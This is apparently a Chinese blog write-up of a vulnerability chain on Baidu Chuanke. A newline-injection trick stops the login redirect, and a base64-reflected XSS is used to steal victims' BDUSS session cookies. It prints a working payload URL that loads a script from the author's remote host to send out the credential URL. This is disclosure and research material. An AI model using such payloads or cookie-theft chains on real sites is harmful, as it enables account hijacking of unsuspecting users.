【一年更一篇】去年挖的一个有趣的逻辑洞

每天我都会把鞋带系的紧紧的,因为我知道没有人会停下脚步来等我啊。

Chuanke.com

目标站是百度传课。

该网站是利用百度账号登录的,而且涉及到了百度的HTTPONLY cookie BDUSS

所以我们可以先来看一下他的登录机制。

这个请求是关键的一个请求

cksync.baidu.com

可以看到是向 *.baidu.com发出的请求

由于登录百度账号之后,*.baidu.com都被设置了COOKIE

就是BDUSS这一个通行证

所以他会带着BDUSS去访问cksync.baidu.com

可以看看请求返回了什么

http://passport.chuanke.com/

带着参数跳转到了这个域名,而这个域名就是chuanke.com的了

后面的参数 大概就是加密之后的BDUSS

由于不知道加密方式,所以也没法直接解密

但是这不是重点,先看后面的。

可以看到,参数似乎还可以额外附加?

的确可以加一点参数。

想起了呆老师的一个漏洞

http://cb.drops.wiki/bugs/wooyun-2015-0148110.html

这个漏洞里面运用了一个技巧。就是让页面强行停止跳转

可以看到 他这个站点的跨域登录凭证传输

是一个道理

那呆老师怎么通过一个XSS拿到登录凭证的呢。。继续看

他是通过xss,给bobo.com设置了超长的cookie

这样服务器那边就会出错,没法进行后一步的跳转

也就使得URL停留在了带凭证的这一步

那么通过XSS我们就能拿到这个停止跳转的URL

然后就可以用这个URL拿到受害者的COOKIE了

我的思路也类似呆老师的

让带凭证的请求访问出错即可。

可以看到%0a在第一个请求的时候正常输出了

那我们跟随跳转看看

可以看到出错了,返回了404.

那如果没有%0a,是会正常跳转的,我们也就没法通过这个域的XSS拿到他的COOKIE了

可以看到她通过凭证获取到BDUSS后,再一个302跳转

跳转到了其他页面

所以我们现在就差一个passport.chuanke.com域的XSS了

这是另一个关键请求

显而易见的是URL里面有一段BASE64编码的内容

而往往这样的内容经常被解码后直接输出到页面中

这样仿佛就是一个自带的编码,绕过浏览器的xss过滤器..

可以看到的确是这个编码,那我们再来验证下,到底是不是输出到了页面中

可以看到,这里的确解码后输出到了页面里,而且没有对字符做过滤

所以此时我们就得到了一个浏览器通杀的XSS

可以看到。成功弹窗了!

由于页面中加载了jquery,所以我们payload也挺好写的

这里是一段我已经写好的 payload

大意就是新建一个窗口,URL是

http://cksync.baidu.com/api/bducsync/mode/1%0a

这样的,然后等他跳转完之后,通过技巧让他URL停留在带凭证的一步

然后将此时的URL传输出去

这样我们接收到这样的URL就可以直接获取到受害者的登录凭证了

由于页面里面调用了jquery

所以payload很简单

http://passport.chuanke.com/login/index/ret/aHR0cDovL3d3dy5jaHVhbmtlLmNvbS5hc2QiPjxpbWcgb25lcnJvcj0iJC5nZXRTY3JpcHQoJ2h0dHA6Ly93YXkubnVwdHpqLmNuL2NodWFua2UvZ2V0YmR1c3MuanMnKSIgc3JjPSI=

让受害者访问这个URL

只要他登陆着百度的账号,我们就能拿到他的登录凭证了。试验一下

这个请求就是把URL传输出来的,这时候我已经收到了受害者的请求

这个时候到隐身模式请求下

就可以拿到受害者的BDUSS了

可以看到 隐身模式下访问这个URL

直接会返回受害者的BDUSS

没装那个插件- -

出了点小问题

重新试下

可以看到这就是最重要的COOKIE

登录成功。

漏洞录像 链接: https://pan.baidu.com/s/1nwXZgVn 密码: 3yj6

Contact Me

__画船听雨

有想要和我交流的也可以和我邮件联系

Email: admin@nuptzj.cn